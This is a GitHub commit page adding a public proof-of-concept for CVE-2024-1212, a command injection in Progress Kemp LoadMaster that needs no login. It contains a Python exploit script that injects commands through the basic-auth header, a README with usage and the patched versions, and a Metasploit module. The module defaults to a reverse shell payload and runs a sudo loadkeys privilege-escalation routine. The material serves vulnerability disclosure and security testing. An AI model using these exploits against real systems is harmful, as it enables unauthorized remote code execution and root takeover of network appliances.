-
Notifications
You must be signed in to change notification settings - Fork 238
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4b79b92
commit 5a8a723
Showing
4 changed files
with
190 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
# Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster | ||
# Tested on: LoadMaster 7.2.59.0.22007 | ||
# Author: Dave Yesland @daveysec with Rhino Security Labs | ||
|
||
import requests | ||
from requests.auth import HTTPBasicAuth | ||
import argparse | ||
|
||
requests.packages.urllib3.disable_warnings() | ||
|
||
argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster") | ||
argparser.add_argument('target', help='The target (https://LoadmasterIP)') | ||
argparser.add_argument('command', help='The command to run') | ||
args = argparser.parse_args() | ||
|
||
target = args.target | ||
command = args.command | ||
|
||
normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"] | ||
|
||
# Fix colons as it will break the basic auth | ||
command = command.replace(":", "$'\\x3a'") | ||
|
||
url = f"{target}/access/set?param=enableapi&value=1" | ||
r = requests.get(url, auth=HTTPBasicAuth(f"';{command};echo '", "anything"), verify=False) | ||
for key, value in r.headers.items(): | ||
if key not in normal_headers: | ||
print(f"{key}: {value}") | ||
for line in r.text.splitlines(): | ||
if line == ' -p anything': | ||
break | ||
else: | ||
print(line) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
# CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster | ||
|
||
## Information | ||
**Description:** This allows remote code execution in the Progress Kemp LoadMaster via the admin web service. | ||
**Versions Affected:** All LoadMaster releases after 7.2.48.1 | ||
**Version Fixed:** 7.2.59.2 (GA), 7.2.54.8 (LTSF), 7.2.48.10 (LTS) | ||
**Researcher:** Dave Yesland | ||
**Disclosure Link:** PLACEHOLDER | ||
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-1212 | ||
**Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212 | ||
|
||
## Proof-of-Concept Exploit | ||
### Description | ||
The exploit bypasses API restrictions and executes commands through a command injection in the basic authorization header. | ||
|
||
### Usage/Exploitation | ||
`python3 CVE-2024-1212.py https://LM_host 'ls'` | ||
|
||
### Screenshot | ||
![Alt-text that shows up on hover](poc_image.gif) |
137 changes: 137 additions & 0 deletions
137
...2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated command injection vulnerability in | ||
Progress Kemp LoadMaster, versions before 7.2.59.2. | ||
}, | ||
'Author' => [ | ||
'Dave Yesland with Rhino Security Labs', | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2024-1212'], | ||
['URL', 'https://kemptechnologies.com/kemp-load-balancers'], | ||
['URL', 'https://www.rhinosecuritylabs.com/'] | ||
], | ||
'DisclosureDate' => '2024', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], | ||
'Reliability' => [ REPEATABLE_SESSION ] | ||
}, | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Targets' => [['Automatic', {}]], | ||
'Privileged' => false, | ||
'DefaultOptions' => | ||
{ | ||
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', | ||
'SSL' => true, | ||
'RPORT' => 443 | ||
}, | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x3a\x27" | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), | ||
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) | ||
]) | ||
|
||
@first_session_timestamp = nil | ||
end | ||
|
||
def exploit | ||
uri = normalize_uri(target_uri.path, 'access', 'set') | ||
|
||
print_status("Sending payload...") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'vars_get' => | ||
{ | ||
'param' => 'enableapi', | ||
'value' => "1" | ||
}, | ||
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), | ||
'verify' => false | ||
}) | ||
end | ||
|
||
def on_new_session(session) | ||
# Kill the session if it was initiated too close to the first session | ||
# This command injection tends to execute twice, so we want to kill | ||
# the second session. Probably a better way to do this but I don't know it. | ||
super | ||
current_time = Time.now.to_i | ||
if @first_session_timestamp.nil? | ||
@first_session_timestamp = current_time | ||
elsif current_time - @first_session_timestamp < 5 | ||
print_error("Detected a session initiated too close to the first session. Terminating it.") | ||
session.kill | ||
end | ||
|
||
# Run privesc commands if PRIVESC is set to true | ||
if datastore['PRIVESC'] | ||
execute_privesc_command(session) | ||
else | ||
print_status('Privilege escalation skipped.') | ||
end | ||
end | ||
|
||
def execute_privesc_command(session) | ||
print_status("Executing privilege escalation command...") | ||
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') | ||
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') | ||
session.shell_command('sudo /bin/loadkeys -c /bin/bash') | ||
session.shell_command('cp /tmp/loadkeys /bin/loadkeys') | ||
end | ||
|
||
def check | ||
print_status("Checking if #{peer} is vulnerable...") | ||
|
||
uri = normalize_uri(target_uri.path, 'access', 'set') | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'vars_get' => { | ||
'param' => 'enableapi', | ||
'value' => "1" | ||
}, | ||
'authorization' => basic_auth("'", 'anything'), | ||
'verify' => false | ||
}) | ||
|
||
# No response from server | ||
unless res | ||
return CheckCode::Unknown | ||
end | ||
|
||
# Check for specific error pattern in headers or body to confirm vulnerability | ||
if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching") | ||
return CheckCode::Vulnerable | ||
else | ||
return CheckCode::Safe | ||
end | ||
end | ||
|
||
end |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.